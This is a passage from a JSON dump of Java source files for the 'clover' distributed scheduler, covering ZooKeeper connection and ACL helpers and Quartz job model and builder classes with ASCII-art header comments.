    "content": "package com.gome.clover.common.zk;\r\n\r\nimport org.apache.zookeeper.*;\r\nimport org.apache.zookeeper.Watcher.Event.KeeperState;\r\nimport org.apache.zookeeper.ZooDefs.Ids;\r\nimport org.apache.zookeeper.ZooKeeper.States;\r\nimport org.apache.zookeeper.data.ACL;\r\nimport org.apache.zookeeper.data.Id;\r\nimport org.apache.zookeeper.server.auth.DigestAuthenticationProvider;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.Properties;\r\nimport java.util.concurrent.CountDownLatch;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:ZKManager\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class ZKManager {\r\n    private static transient Logger logger = LoggerFactory.getLogger(ZKManager.class);\r\n    private ZooKeeper zk;\r\n    private List<ACL> acl = new ArrayList<ACL>();\r\n    private Properties properties;\r\n    public enum keys {\r\n        zkConnectString, rootPath, userName, password, zkSessionTimeout\r\n    }\r\n    public ZKManager(Properties properties) throws Exception{\r\n        this.properties = properties;\r\n        this.connect();\r\n    }\r\n\r\n    /**\r\n     * 重连zookeeper\r\n     * @throws Exception\r\n     */\r\n    public synchronized void  reConnection() throws Exception{\r\n        if (this.zk != null) {\r\n            this.zk.close();\r\n            this.zk = null;\r\n            this.connect() ;\r\n        }\r\n    }\r\n\r\n    private void connect() throws Exception {\r\n        CountDownLatch connectionLatch = new CountDownLatch(1);\r\n        createZookeeper(connectionLatch);\r\n        connectionLatch.await();\r\n    }\r\n\r\n    private void createZookeeper(final CountDownLatch connectionLatch) throws Exception {\r\n        zk = new ZooKeeper(this.properties.getProperty(keys.zkConnectString\r\n                .toString()), Integer.parseInt(this.properties\r\n                .getProperty(keys.zkSessionTimeout.toString())),\r\n                new Watcher() {\r\n                    public void process(WatchedEvent event) {\r\n                        sessionEvent(connectionLatch, event);\r\n                    }\r\n                });\r\n        String authString = this.properties.getProperty(keys.userName.toString())\r\n                + \":\"+ this.properties.getProperty(keys.password.toString());\r\n        zk.addAuthInfo(\"digest\", authString.getBytes());\r\n        acl.clear();\r\n        acl.add(new ACL(ZooDefs.Perms.ALL, new Id(\"digest\",\r\n                DigestAuthenticationProvider.generateDigest(authString))));\r\n        acl.add(new ACL(ZooDefs.Perms.READ, Ids.ANYONE_ID_UNSAFE));\r\n    }\r\n\r\n    private void sessionEvent(CountDownLatch connectionLatch, WatchedEvent event) {\r\n        if (event.getState() == KeeperState.SyncConnected) {\r\n            logger.info(\"收到ZK连接成功事件！\");\r\n            connectionLatch.countDown();\r\n        } else if (event.getState() == KeeperState.Expired) {\r\n            logger.error(\"会话超时，等待重新建立ZK连接...\");\r\n            try {\r\n                reConnection();\r\n            } catch (Exception e) {\r\n                logger.error(e.getMessage(),e);\r\n            }\r\n        } // Disconnected：Zookeeper会自动处理Disconnected状态重连\r\n    }\r\n\r\n    public void close() throws InterruptedException {\r\n        logger.info(\"关闭zookeeper连接\");\r\n        this.zk.close();\r\n    }\r\n\r\n    public static Properties createProperties(){\r\n        Properties result = new Properties();\r\n        result.setProperty(keys.zkConnectString.toString(),\"localhost:2181\");\r\n        result.setProperty(keys.rootPath.toString(),\"/cloud-schedule/jobName\");\r\n        result.setProperty(keys.userName.toString(),\"ScheduleAdmin\");\r\n        result.setProperty(keys.password.toString(),\"password\");\r\n        result.setProperty(keys.zkSessionTimeout.toString(),\"60000\");\r\n        return result;\r\n    }\r\n    public String getRootPath(){\r\n        return this.properties.getProperty(keys.rootPath.toString());\r\n    }\r\n    public String getConnectStr(){\r\n        return this.properties.getProperty(keys.zkConnectString.toString());\r\n    }\r\n    public boolean checkZookeeperState() throws Exception{\r\n        return zk != null && zk.getState() == States.CONNECTED;\r\n    }\r\n\r\n    public boolean isExists(String path) throws Exception{\r\n        return getZooKeeper().exists(path, false) != null;\r\n    }\r\n    public void setData(String path,String data) throws Exception{\r\n        if(!isExists(path)){\r\n            createPath(getZooKeeper(), path, CreateMode.EPHEMERAL,acl);\r\n        }\r\n        getZooKeeper().setData(path,data.getBytes(),-1);\r\n    }\r\n    public String getData(String path)throws Exception{\r\n        if(!isExists(path)){\r\n            return \"\";\r\n        }\r\n        return new String(getZooKeeper().getData(path, false, null));\r\n    }\r\n    public  void createPath(ZooKeeper zk, String path,CreateMode createMode, List<ACL> acl) throws Exception {\r\n        String[] list = path.split(\"/\");\r\n        String zkPath = \"\";\r\n        for (String str : list) {\r\n            if (str.equals(\"\") == false) {\r\n                zkPath = zkPath + \"/\" + str;\r\n                if (zk.exists(zkPath, false) == null) {\r\n                    zk.create(zkPath, null, acl, createMode);\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    public void delete(String path)throws Exception {\r\n        getZooKeeper().delete(path,-1);\r\n    }\r\n    public List<ACL> getAcl() {\r\n        return acl;\r\n    }\r\n    public ZooKeeper getZooKeeper() throws Exception {\r\n        if(this.checkZookeeperState()==false){\r\n            reConnection();\r\n        }\r\n        return this.zk;\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zk/ZKUtil.java",
    "content": "package com.gome.clover.common.zk;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.List2StringUtil;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.mongodb.BasicDBObject;\r\nimport org.apache.curator.framework.CuratorFramework;\r\nimport org.apache.curator.framework.CuratorFrameworkFactory;\r\nimport org.apache.curator.framework.api.ACLBackgroundPathAndBytesable;\r\nimport org.apache.curator.framework.api.BackgroundPathable;\r\nimport org.apache.curator.framework.api.CuratorWatcher;\r\nimport org.apache.curator.retry.RetryNTimes;\r\nimport org.apache.zookeeper.CreateMode;\r\nimport org.apache.zookeeper.ZooDefs;\r\nimport org.apache.zookeeper.data.ACL;\r\nimport org.apache.zookeeper.data.Id;\r\nimport org.apache.zookeeper.server.auth.DigestAuthenticationProvider;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.security.NoSuchAlgorithmException;\r\nimport java.sql.Timestamp;\r\nimport java.text.DateFormat;\r\nimport java.text.SimpleDateFormat;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/28\r\n * Time: 14:35\r\n */\r\n\r\npublic class ZKUtil {\r\n    protected static Logger logger = LoggerFactory.getLogger(ZKUtil.class);\r\n    private static List<ACL> acl = new ArrayList<ACL>();\r\n    public static CuratorFramework create() {\r\n        RetryNTimes retryPolicy = new RetryNTimes(5, 5000);\r\n        String authString = CommonConstants.ZK_USER_NAME + \":\"+CommonConstants.ZK_PASSWORD;\r\n        CuratorFramework client = CuratorFrameworkFactory.builder().connectString(CommonConstants.ZK_CONNECT_STRING)\r\n                .retryPolicy(retryPolicy).connectionTimeoutMs(CommonConstants.ZOO_KEEPER_TIMEOUT)\r\n                .sessionTimeoutMs(CommonConstants.ZOO_KEEPER_TIMEOUT * 3).authorization(\"digest\", authString.getBytes()).build();\r\n        try {\r\n            acl.clear();\r\n            acl.add(new ACL(ZooDefs.Perms.ALL, new Id(\"digest\",\r\n                    DigestAuthenticationProvider.generateDigest(authString))));\r\n            acl.add(new ACL(ZooDefs.Perms.READ, ZooDefs.Ids.ANYONE_ID_UNSAFE));\r\n        } catch (NoSuchAlgorithmException e) {\r\n            e.printStackTrace();\r\n            logger.error(\"ZKUtil-->>create() error,\",e);\r\n        }\r\n        return client;\r\n    }\r\n\r\n    public static boolean exists(CuratorFramework client, String path, CuratorWatcher watcher) {\r\n        try {\r\n            if (watcher != null) {\r\n                return ((BackgroundPathable)client.checkExists().usingWatcher(watcher)).forPath(path) != null;\r\n            }\r\n            return client.checkExists().forPath(path) != null;\r\n        }\r\n        catch (Exception e) {\r\n            logger.error(\"ZKUtil-->>exists(CuratorFramework client, String path, CuratorWatcher watcher) error, \", e);\r\n            System.err.println(\"ZKUtil-->>exists(CuratorFramework client, String path, CuratorWatcher watcher) error,\"+e.getMessage());\r\n        }return false;\r\n    }\r\n\r\n    public static boolean exists(CuratorFramework client, String path)\r\n    {\r\n        return exists(client, path, null);\r\n    }\r\n\r\n    public static void createPath(CuratorFramework client, String path, String content, CreateMode mode) {\r\n        try {\r\n            ((ACLBackgroundPathAndBytesable)client.create().creatingParentsIfNeeded().withMode(mode)).forPath(path, List2StringUtil.toBytes(content));\r\n        } catch (Exception e) {\r\n            logger.error(\"ZKUtil-->>createPath(CuratorFramework client, String path, String content, CreateMode mode) error,\", e);\r\n            System.err.println(\"ZKUtil-->>createPath(CuratorFramework client, String path, String content, CreateMode mode) error,\"+e.getMessage());\r\n        }\r\n    }\r\n\r\n    public static void setPath(CuratorFramework client, String path, String content, CreateMode mode) {\r\n        try {\r\n            if (client.checkExists().forPath(path) == null){\r\n                ((ACLBackgroundPathAndBytesable)client.create().creatingParentsIfNeeded().withMode(mode)).forPath(path, List2StringUtil.toBytes(content));\r\n            }else\r\n                client.setData().forPath(path,List2StringUtil.toBytes(content));\r\n        }\r\n        catch (Exception e) {\r\n            logger.error(\"ZKUtil-->>setPath(CuratorFramework client, String path, String content, CreateMode mode) error,\", e);\r\n            System.err.println(\"ZKUtil-->>setPath(CuratorFramework client, String path, String content, CreateMode mode) error,\" + e.getMessage());\r\n        }\r\n    }\r\n\r\n    public static void updateServerTimestamp(long timestamp, String key) {\r\n        if (timestamp == 0L)\r\n            return;\r\n        DateFormat format = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\r\n        Timestamp startime = new Timestamp(timestamp);\r\n        String startDate = format.format(startime);\r\n        setPath(ServerDict.self.getZK(), key, String.valueOf(timestamp), CreateMode.PERSISTENT);\r\n        logger.info(\"ZKUtil-->> update key[{}]  timestamp[{}] \", new Object[] { key, startDate });\r\n    }\r\n\r\n    public static long readServerTimestamp(String key) {\r\n        String c = getData(ServerDict.self.getZK(), key);\r\n        if (StringUtil.isEmpty(c)) {\r\n            return 0L;\r\n        }\r\n        return Long.parseLong(c);\r\n    }\r\n\r\n    public static String getData(CuratorFramework client, String path) {\r\n        return getData(client, path, null);\r\n    }\r\n\r\n    public static String getData(CuratorFramework client, String path, CuratorWatcher watcher) {\r\n        try {\r\n            if (client.checkExists().forPath(path) == null) {\r\n                return null;\r\n            }\r\n            if (watcher != null) {\r\n                return List2StringUtil.toString((byte[])((BackgroundPathable)client.getData().usingWatcher(watcher)).forPath(path));\r\n            }\r\n            return List2StringUtil.toString((byte[])client.getData().forPath(path));\r\n        }\r\n        catch (Exception e) {\r\n            logger.error(\"ZKUtil-->>getData(CuratorFramework client, String path, CuratorWatcher watcher)  error \", e);\r\n            System.err.println(\"ZKUtil-->>getData(CuratorFramework client, String path, CuratorWatcher watcher)  error ,\"+e.getMessage());\r\n        }return null;\r\n    }\r\n\r\n    public static String createEphemeralSequential(CuratorFramework client, String path, byte[] payload)\r\n    {\r\n        try {\r\n            return (String)((ACLBackgroundPathAndBytesable)client.create().withProtection().withMode(CreateMode.EPHEMERAL_SEQUENTIAL)).forPath(path, payload);\r\n        } catch (Exception e) {\r\n            logger.error(\"ZKUtil-->>createEphemeralSequential\", e);\r\n        }return null;\r\n    }\r\n\r\n    public static void remove(CuratorFramework client, String path) {\r\n        try {\r\n            if (client.checkExists().forPath(path) == null) {\r\n                logger.info(\"ZKUtil-->>remove(CuratorFramework client, String path) this Path not exists\");\r\n                System.err.println(\"ZKUtil-->>remove(CuratorFramework client, String path) this Path not exists\");\r\n                return;\r\n            }\r\n            client.delete().forPath(path);\r\n        } catch (Exception e) {\r\n            logger.error(\"ZKUtil-->>remove(CuratorFramework client, String path) error,\", e);\r\n            System.err.println(\"ZKUtil-->>remove(CuratorFramework client, String path) error ,\"+e.getMessage());\r\n        }\r\n    }\r\n\r\n    public static void delete(CuratorFramework client, String path) {\r\n        try {\r\n            client.delete().guaranteed().forPath(path);\r\n        } catch (Exception e) {\r\n            logger.error(\"ZKUtil-->>delete(CuratorFramework client, String path) error,\", e);\r\n            System.err.println(\"ZKUtil-->>delete(CuratorFramework client, String path) error,\"+e.getMessage());\r\n        }\r\n    }\r\n\r\n    public static List<String> getChilds(CuratorFramework client, String path) {\r\n        return getChilds(client, path, null);\r\n    }\r\n\r\n    public static List<String> getChilds(CuratorFramework client, String path, CuratorWatcher watcher) {\r\n        try {\r\n            if (watcher != null) {\r\n                return (List)((BackgroundPathable)client.getChildren().usingWatcher(watcher)).forPath(path);\r\n            }\r\n            return (List)client.getChildren().forPath(path);\r\n        }\r\n        catch (Exception e) {\r\n            logger.error(\"ZKUtil-->>getChilds(CuratorFramework client, String path, CuratorWatcher watcher) error,\", e);\r\n            System.err.println(\"ZKUtil-->>getChilds(CuratorFramework client, String path, CuratorWatcher watcher) error,\"+ e.getMessage());\r\n        }return null;\r\n    }\r\n\r\n    public static String getDataByParameter(String path,String qKey,String qValue,String resultValue){\r\n        CuratorFramework curatorFramework = ZKUtil.create();\r\n        if (!curatorFramework.isStarted()) curatorFramework.start();\r\n        List nodeList = ZKUtil.getChilds(curatorFramework,path);\r\n        for (int i = 0; (nodeList != null) && (i < nodeList.size()); i++) {\r\n            String id = (String) nodeList.get(i);\r\n            String c = ZKUtil.getData(curatorFramework, path + \"/\" + id);\r\n            if (c == null) {\r\n                continue;\r\n            }\r\n            BasicDBObject record = (BasicDBObject) com.mongodb.util.JSON.parse(c);\r\n            String tempValue = (String) record.get(qKey);\r\n            if(tempValue.equals(qValue)){\r\n                return (String) record.get(resultValue);\r\n            }else {\r\n                continue;\r\n            }\r\n    }\r\n        return null;\r\n    }\r\n\r\n    public static BasicDBObject getDataByParameter(String path,String qKey,String qValue){\r\n        CuratorFramework curatorFramework = ZKUtil.create();\r\n        List nodeList = ZKUtil.getChilds(curatorFramework,path);\r\n        for (int i = 0; (nodeList != null) && (i < nodeList.size()); i++) {\r\n            String id = (String) nodeList.get(i);\r\n            String c = ZKUtil.getData(curatorFramework, path + \"/\" + id);\r\n            if (c == null) {\r\n                continue;\r\n            }\r\n            BasicDBObject record = (BasicDBObject) com.mongodb.util.JSON.parse(c);\r\n            String tempValue = (String) record.get(qKey);\r\n            if(tempValue.equals(qValue)){\r\n                return record;\r\n            }else {\r\n                continue;\r\n            }\r\n        }\r\n        return null;\r\n    }\r\n\r\n    public static void main(String[] args)\r\n    {\r\n        ZKUtil.setPath(ClientDict.self.getZK(),\"/test/wy/test1\", \"test2\", CreateMode.EPHEMERAL);\r\n\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zk/ZooKeeperWatch.java",
    "content": "package com.gome.clover.common.zk;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/28\r\n * Time: 16:19\r\n */\r\npublic interface ZooKeeperWatch {\r\n    public  void zooNodeChange(String paramString1, String paramString2);\r\n    public  void reconnect();\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/core/job/ClientJob.java",
    "content": "package com.gome.clover.core.job;\n\nimport org.quartz.Job;\nimport org.quartz.JobDetail;\nimport org.quartz.Trigger;\n\nimport java.io.Serializable;\nimport java.util.Arrays;\n\n/**\n * ━━━━━━神兽出没━━━━━━\n * 　　　┏┓　　　┏┓\n * 　　┏┛┻━━━┛┻┓\n * 　　┃　　　　　　　┃\n * 　　┃　　　━　　　┃\n * 　　┃　┳┛　┗┳　┃\n * 　　┃　　　　　　　┃\n * 　　┃　　　┻　　　┃\n * 　　┃　　　　　　　┃\n * 　　┗━┓　　　┏━┛\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\n * 　　　　┃　　　┗━━━┓\n * 　　　　┃　　　　　　　┣┓\n * 　　　　┃　　　　　　　┏┛\n * 　　　　┗┓┓┏━┳┓┏┛\n * 　　　　　┃┫┫　┃┫┫\n * 　　　　　┗┻┛　┗┻┛\n * ━━━━━━感觉萌萌哒━━━━━━\n * Module Desc:Scheduler Client Job 实体类\n * User: wangyue-ds6 || stark_summer@qq.com\n * Date: 2014/11/21\n * Time: 14:27\n */\n\npublic class ClientJob implements Serializable {\n    private static final long serialVersionUID = 938554467283788592L;\n    private Trigger trigger;\n    private JobDetail jobDetail;\n    private ExecuteType executeType;\n    private JobType jobType;\n    private JobStrategy jobStrategy;\n    private String startTime;\n    private String cronExpression;\n    private String[] fixedClientIps;\n    private String[] fixedServerIps;\n    private Class<? extends Job> jobClass;\n    private String clientIp;\n    private String serverIp;\n    private String jobClassName;\n    private boolean isRecoverJobFromDB;\n    private String jobClassPath;\n\n    public ClientJob() {\n    }\n\n    public ClientJob(ClientJobFactory.Builder builder) {\n        this.executeType = builder.getExecuteType();\n        this.jobType = builder.getJobType();\n        this.jobStrategy = builder.getJobStrategy();\n        this.startTime = builder.getStartTime();\n        this.cronExpression = builder.getCronExpression();\n        this.fixedClientIps = builder.getFixedClientIps();\n        this.fixedServerIps = builder.getFixedServerIps();\n        this.trigger = builder.getTrigger();\n        this.jobDetail = builder.getJobDetail();\n        this.jobClass = builder.getJobClass();\n        this.clientIp = builder.getClientIp();\n        this.jobClassPath = builder.getClientIp();\n    }\n\n    public static enum ExecuteType {\n        ADD, UPDATE, DELETE\n    }\n\n    public static enum JobType {\n        LOCAL, REMOTE, BROADCAST\n    }\n\n    public static enum JobStrategy{\n        HASH,SYSTEM_CAPACITY\n    }\n\n    public Trigger getTrigger() {\n        return trigger;\n    }\n\n    public void setTrigger(Trigger trigger) {\n        this.trigger = trigger;\n    }\n\n    public JobDetail getJobDetail() {\n        return jobDetail;\n    }\n\n    public void setJobDetail(JobDetail jobDetail) {\n        this.jobDetail = jobDetail;\n    }\n\n    public ExecuteType getExecuteType() {\n        return executeType;\n    }\n\n    public void setExecuteType(ExecuteType executeType) {\n        this.executeType = executeType;\n    }\n\n    public JobType getJobType() {\n        return jobType;\n    }\n\n    public void setJobType(JobType jobType) {\n        this.jobType = jobType;\n    }\n\n    public JobStrategy getJobStrategy() {\n        return jobStrategy;\n    }\n\n    public void setJobStrategy(JobStrategy jobStrategy) {\n        this.jobStrategy = jobStrategy;\n    }\n\n    public String getStartTime() {\n        return startTime;\n    }\n\n    public void setStartTime(String startTime) {\n        this.startTime = startTime;\n    }\n\n    public String getCronExpression() {\n        return cronExpression;\n    }\n\n    public void setCronExpression(String cronExpression) {\n        this.cronExpression = cronExpression;\n    }\n\n    public String[] getFixedClientIps() {\n        return fixedClientIps;\n    }\n\n    public void setFixedClientIps(String[] fixedClientIps) {\n        this.fixedClientIps = fixedClientIps;\n    }\n\n    public String[] getFixedServerIps() {\n        return fixedServerIps;\n    }\n\n    public void setFixedServerIps(String[] fixedServerIps) {\n        this.fixedServerIps = fixedServerIps;\n    }\n\n    public Class<? extends Job> getJobClass() {\n        return jobClass;\n    }\n\n    public void setJobClass(Class<? extends Job> jobClass) {\n        this.jobClass = jobClass;\n    }\n\n    public String getClientIp() {\n        return clientIp;\n    }\n\n    public void setClientIp(String clientIp) {\n        this.clientIp = clientIp;\n    }\n\n    public String getServerIp() {\n        return serverIp;\n    }\n\n    public void setServerIp(String serverIp) {\n        this.serverIp = serverIp;\n    }\n\n    public String getJobClassName() {\n        return jobClassName;\n    }\n\n    public void setJobClassName(String jobClassName) {\n        this.jobClassName = jobClassName;\n    }\n\n    public String getJobClassPath() {\n        return jobClassPath;\n    }\n\n    public void setJobClassPath(String jobClassPath) {\n        this.jobClassPath = jobClassPath;\n    }\n\n    public boolean isRecoverJobFromDB() {\n        return isRecoverJobFromDB;\n    }\n\n    public void setRecoverJobFromDB(boolean isRecoverJobFromDB) {\n        this.isRecoverJobFromDB = isRecoverJobFromDB;\n    }\n\n    @Override\n    public String toString() {\n        return \"ClientJob{\" +\n                \"jobClass=\" + jobClass +\n                \", jobClassName=\" + jobClassName +\n                \", groupName=\" + jobDetail.getKey().getGroup() +\n                \", jobName=\" + jobDetail.getKey().getName() +\n                \", executeType=\" + executeType.name() +\n                \", jobType=\" + jobType.name() +\n                \", jobStrategy=\" + jobStrategy.name() +\n                \", startTime=\" + startTime +\n                \", cronExpression=\" + cronExpression +\n                \", isRecoverJobFromDB=\" + isRecoverJobFromDB +\n                \", clientIp=\" + clientIp +\n                \", serverIp=\" + serverIp +\n                \", startDate=\" + trigger.getStartTime() +\n                \", endDate=\" + trigger.getEndTime() +\n                \", fixedClientIps=\" + Arrays.toString(fixedClientIps) +\n                \", fixedServerIps=\" + Arrays.toString(fixedServerIps) +\n                '}';\n    }\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/core/job/ClientJobBuilder.java",
    "content": "package com.gome.clover.core.job;\r\n\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport org.quartz.Job;\r\n\r\nimport java.util.Date;\r\n\r\nimport static org.quartz.CronScheduleBuilder.cronSchedule;\r\nimport static org.quartz.JobBuilder.newJob;\r\nimport static org.quartz.TriggerBuilder.newTrigger;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Client Job Builder\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/1\r\n * Time: 14:52\r\n */\r\npublic class ClientJobBuilder {\r\n\r\n    /**\r\n     * 根据Cron Expression快速创建LOCAL类别job\r\n     *\r\n     * @param jobGroup       job 组\r\n     * @param jobName        job 名称\r\n     * @param jobClass       自定义实现Job接口的\r\n     * @param cronExpression cron表达式\r\n     * @return ClientJob\r\n     */\r\n    public static ClientJob quickBuildLocalCronJob(String jobGroup, String jobName,\r\n                                                   Class<? extends Job> jobClass,\r\n                                                   String cronExpression) {\r\n        return ClientJobFactory.builder((newJob(jobClass)\r\n                .withIdentity(jobName, jobGroup).build()), (newTrigger()\r\n                .withIdentity(jobName, jobGroup)\r\n                .withSchedule(cronSchedule(cronExpression)).build()), ClientJob.JobType.LOCAL, \"\", cronExpression).jobClass(jobClass)\r\n                .executeType(ClientJob.ExecuteType.ADD).build();\r\n    }\r\n\r\n    /**\r\n     * 根据Cron Expression快速创建REMOTE类别job\r\n     *\r\n     * @param jobGroup       job 组\r\n     * @param jobName        job 名称\r\n     * @param jobClass       自定义实现Job接口的类\r\n     * @param cronExpression cron表达式\r\n     * @return ClientJob\r\n     */\r\n    public static ClientJob quickBuildRemoteCronJob(String jobGroup, String jobName,\r\n                                                    Class<? extends Job> jobClass,\r\n                                                    String cronExpression) {\r\n        return ClientJobFactory.builder((newJob(jobClass)\r\n                .withIdentity(jobName, jobGroup).build()), (newTrigger()\r\n                .withIdentity(jobName, jobGroup)\r\n                .withSchedule(cronSchedule(cronExpression)).build()), ClientJob.JobType.REMOTE, \"\", cronExpression).jobClass(jobClass)\r\n                .executeType(ClientJob.ExecuteType.ADD).build();\r\n    }\r\n\r\n    /**\r\n     * 根据job开始时间快速创建LOCAL类别job\r\n     *\r\n     * @param jobGroup  job 组\r\n     * @param jobName   job 名称\r\n     * @param jobClass  自定义实现Job接口的类\r\n     * @param startTime 开始执行时间\r\n     * @return\r\n     */\r\n    public static ClientJob quickBuildLocalJobWithStartDate(String jobGroup, String jobName,\r\n                                                            Class<? extends Job> jobClass,\r\n                                                            Date startTime) {\r\n        return ClientJobFactory.builder((newJob(jobClass)\r\n                .withIdentity(jobName, jobGroup).build()), (newTrigger()\r\n                .withIdentity(jobName, jobGroup)\r\n                .startAt(startTime)).build(), ClientJob.JobType.LOCAL, DateUtil.formatWithDefaultPattern(startTime), \"\")\r\n                .jobClass(jobClass).executeType(ClientJob.ExecuteType.ADD).build();\r\n    }\r\n\r\n    /**\r\n     * 根据job开始时间快速创建REMOTE类别job\r\n     *\r\n     * @param jobGroup  job 组\r\n     * @param jobName   job 名称\r\n     * @param jobClass  自定义实现Job接口的类\r\n     * @param startTime 开始执行时间\r\n     * @return\r\n     */\r\n    public static ClientJob quickBuildRemoteJobWithStartDate(String jobGroup, String jobName,\r\n                                                             Class<? extends Job> jobClass,\r\n                                                             Date startTime) {\r\n        return ClientJobFactory.builder((newJob(jobClass)\r\n                .withIdentity(jobName, jobGroup).build()), (newTrigger()\r\n                .withIdentity(jobName, jobGroup)\r\n                .startAt(startTime)).build(), ClientJob.JobType.REMOTE, DateUtil.formatWithDefaultPattern(startTime), \"\")\r\n                .jobClass(jobClass).executeType(ClientJob.ExecuteType.ADD).build();\r\n    }\r\n\r\n    /**\r\n     * 根据job开始时间快速创建LOCAL类别job\r\n     *\r\n     * @param jobGroup    job 组\r\n     * @param jobName     job 名称\r\n     * @param jobClass    自定义实现Job接口的类\r\n     * @param executeType ADD,UPDATE,DELETE\r\n     * @return\r\n     */\r\n    public static ClientJob quickBuildLocalStartNowJobWithExecuteType(String jobGroup, String jobName,\r\n                                                                      Class<? extends Job> jobClass,\r\n                                                                      ClientJob.ExecuteType executeType) {\r\n        return ClientJobFactory.builder((newJob(jobClass)\r\n                .withIdentity(jobName, jobGroup).build()), (newTrigger()\r\n                .withIdentity(jobName, jobGroup)\r\n                .startNow()).build(), ClientJob.JobType.LOCAL, DateUtil.formatWithDefaultPattern(new Date()), \"\")\r\n                .jobClass(jobClass).executeType(executeType).build();\r\n    }\r\n\r\n    /**\r\n     * 根据job开始时间快速创建REMOTE类别job\r\n     *\r\n     * @param jobGroup    job 组\r\n     * @param jobName     job 名称\r\n     * @param jobClass    自定义实现Job接口的类\r\n     * @param executeType ADD,UPDATE,DELETE\r\n     * @return\r\n     */\r\n    public static ClientJob quickBuildRemoteStartNowJobWithExecuteType(String jobGroup, String jobName,\r\n                                                                       Class<? extends Job> jobClass,\r\n                                                                       ClientJob.ExecuteType executeType) {\r\n        return ClientJobFactory.builder((newJob(jobClass)\r\n                .withIdentity(jobName, jobGroup).build()), (newTrigger()\r\n                .withIdentity(jobName, jobGroup)\r\n                .startNow()).build(), ClientJob.JobType.REMOTE, DateUtil.formatWithDefaultPattern(new Date()), \"\")\r\n                .jobClass(jobClass).executeType(executeType).build();\r\n    }\r\n\r\n    /**\r\n     * 根据job类型&执行类型&执行时间 快速创建job\r\n     